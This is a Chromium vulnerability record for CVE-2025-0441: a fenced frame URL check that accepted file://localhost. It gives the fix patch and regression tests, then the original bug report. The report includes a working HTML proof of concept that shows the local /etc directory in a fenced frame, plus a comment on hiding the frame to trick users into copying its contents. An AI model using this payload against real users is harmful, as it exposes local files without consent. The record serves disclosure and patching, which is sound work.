CVE-2025-0441
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc |
modified | |
forthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc |
modified |
Files Changed
third_party/blink/common/fenced_frame/fenced_frame_utils.ccthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.ccthird_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
Patch
From 3505b15143306c95caf36552fef3992271d6b04e Mon Sep 17 00:00:00 2001
From: Liam Brady <lbrady@google.com>
Date: Tue, 15 Oct 2024 19:43:24 +0000
Subject: [PATCH] Fenced frame: Prevent file://localhost/* files from loading.
Fenced frames are meant to be able to load the following URLs with a
default constructor:
- about:blank URLs
- https://* URLs
- http://localhost URLs
The `net::IsLocalhost()` check that is currently being used for the last
case is only checking that the URL starts with "localhost", not that
the scheme is http/https. This allows the fenced frame to load URLs like file://localhost/path/to/file. This CL tightens the check to also
check that the scheme is HTTP. The "https://localhost/*" case will
still be covered by the "https://*" check.
Bug: 368628042
Change-Id: If53573f5701c28e5674ecb524191cddc12b950fe
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/5902121
Reviewed-by: Shivani Sharma <shivanisha@chromium.org>
Commit-Queue: Liam Brady <lbrady@google.com>
Cr-Commit-Position: refs/heads/main@{#1368957}
---
diff --git a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
index 18c6d28..0ddbcdd 100644
--- a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
+++ b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
@@ -14,13 +14,21 @@
#include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
#include "url/gurl.h"
+namespace {
+
+bool IsHttpLocalhost(const GURL& url) {
+ return url.SchemeIs(url::kHttpScheme) && net::IsLocalhost(url);
+}
+
+} // namespace
+
namespace blink {
bool IsValidFencedFrameURL(const GURL& url) {
if (!url.is_valid())
return false;
return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
- net::IsLocalhost(url)) &&
+ IsHttpLocalhost(url)) &&
!url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+ std::vector<String> test_cases = {
+ "http://example.com",
+ "blob:https://example.com",
+ "file://path/to/file",
+ "file://localhost/path/to/file",
+ };
+
Document& doc = GetDocument();
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com/")));
- doc.body()->AppendChild(fenced_frame);
+ for (const String& url : test_cases) {
+ auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+ fenced_frame->setConfig(FencedFrameConfig::Create(url));
+ doc.body()->AppendChild(fenced_frame);
+ }
+
histogram_tester_.ExpectUniqueSample(
kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
- Document& doc = GetDocument();
-
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com")));
- doc.body()->AppendChild(fenced_frame);
- histogram_tester_.ExpectUniqueSample(
- kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+ FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+ const key = token();
+ const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+ "/fenced-frame/resources/embeddee.html", [key]);
+ attachFencedFrame(url);
+
+ const result = await nextValueFromServer(key);
+ assert_equals(result, "PASS",
+ "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+ std::vector<String> test_cases = {
+ "http://example.com",
+ "blob:https://example.com",
+ "file://path/to/file",
+ "file://localhost/path/to/file",
+ };
+
Document& doc = GetDocument();
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com/")));
- doc.body()->AppendChild(fenced_frame);
+ for (const String& url : test_cases) {
+ auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+ fenced_frame->setConfig(FencedFrameConfig::Create(url));
+ doc.body()->AppendChild(fenced_frame);
+ }
+
histogram_tester_.ExpectUniqueSample(
kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
- Document& doc = GetDocument();
-
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com")));
- doc.body()->AppendChild(fenced_frame);
- histogram_tester_.ExpectUniqueSample(
- kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+ FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+ const key = token();
+ const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+ "/fenced-frame/resources/embeddee.html", [key]);
+ attachFencedFrame(url);
+
+ const result = await nextValueFromServer(key);
+ assert_equals(result, "PASS",
+ "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Original Bug Report
FencedFrame allows loading local file directories in http(s?) context
Steps to reproduce the problem
- Enable fenced frame for your PoC server (#privacy-sandbox-enrollment-overrides flag, add your PoC server domain to this list; or do PoC on websites where fencedframe usage is allowed by default)
- serve exploit.html file, navigate to //$my_poc_server_url/exploit.html
- observe fencedframe displaying file:///etc folder
PoC (exploit.html)
<body>
<script>
(async function start() {
var frame = document.body.appendChild(document.createElement("fencedframe"))
frame.setAttribute("height", "600")
frame.setAttribute("width", "600")
// we can make the iframe not visible to user to trick them into running cmd+a + cmd+c to steal the contents of the folder through clipboard
// frame.setAttribute('style', `position: absolute; left: -2000; width: 5000px; height: 5000px;`)
const blob = new Blob([``], { type: 'text/javascript' });
const blobURL = URL.createObjectURL(blob);
await window.sharedStorage.worklet.addModule(blobURL);
var fencedFrameConfig = await window.sharedStorage.selectURL(
'ab-testing',
[
{ url: "file://localhost/etc" },
],
{
resolveToConfig: true
}
);
frame.config = fencedFrameConfig;
}());
</script>
</body>
Problem Description
any ://localhost/ URI is a valid fenced frame URI https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19
bool IsValidFencedFrameURL(const GURL& url) {
if (!url.is_valid())
return false;
return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
net::IsLocalhost(url)) && // <--------- does not check for protocol
!url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}
Why can’t we load file://localhost/etc/passwd then? (theory, I’ve not confirmed it yet) https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc
response to request for file directories has no headers, I suspect (not confirmed yet) that’s why should_enforce_fenced_frame_opt_in evaluates to false and the error is not thrown.
const bool should_enforce_fenced_frame_opt_in =
response_should_be_rendered_ && response_head_->headers &&
frame_tree_node_->IsInFencedFrameTree() &&
!(url.IsAboutBlank() || url.SchemeIsBlob() ||
url.SchemeIs(url::kDataScheme));
if (should_enforce_fenced_frame_opt_in &&
!IsOptedInFencedFrame(*response_head_->headers))
Version affects both stable and canary
Summary
FencedFrame allows loading local file directories in http(s?) context
Custom Questions
Reporter credit:
someoneverycurious
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q="Supports-Loading-Mode HTTP response header"&ss=chromium/chromium/src
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19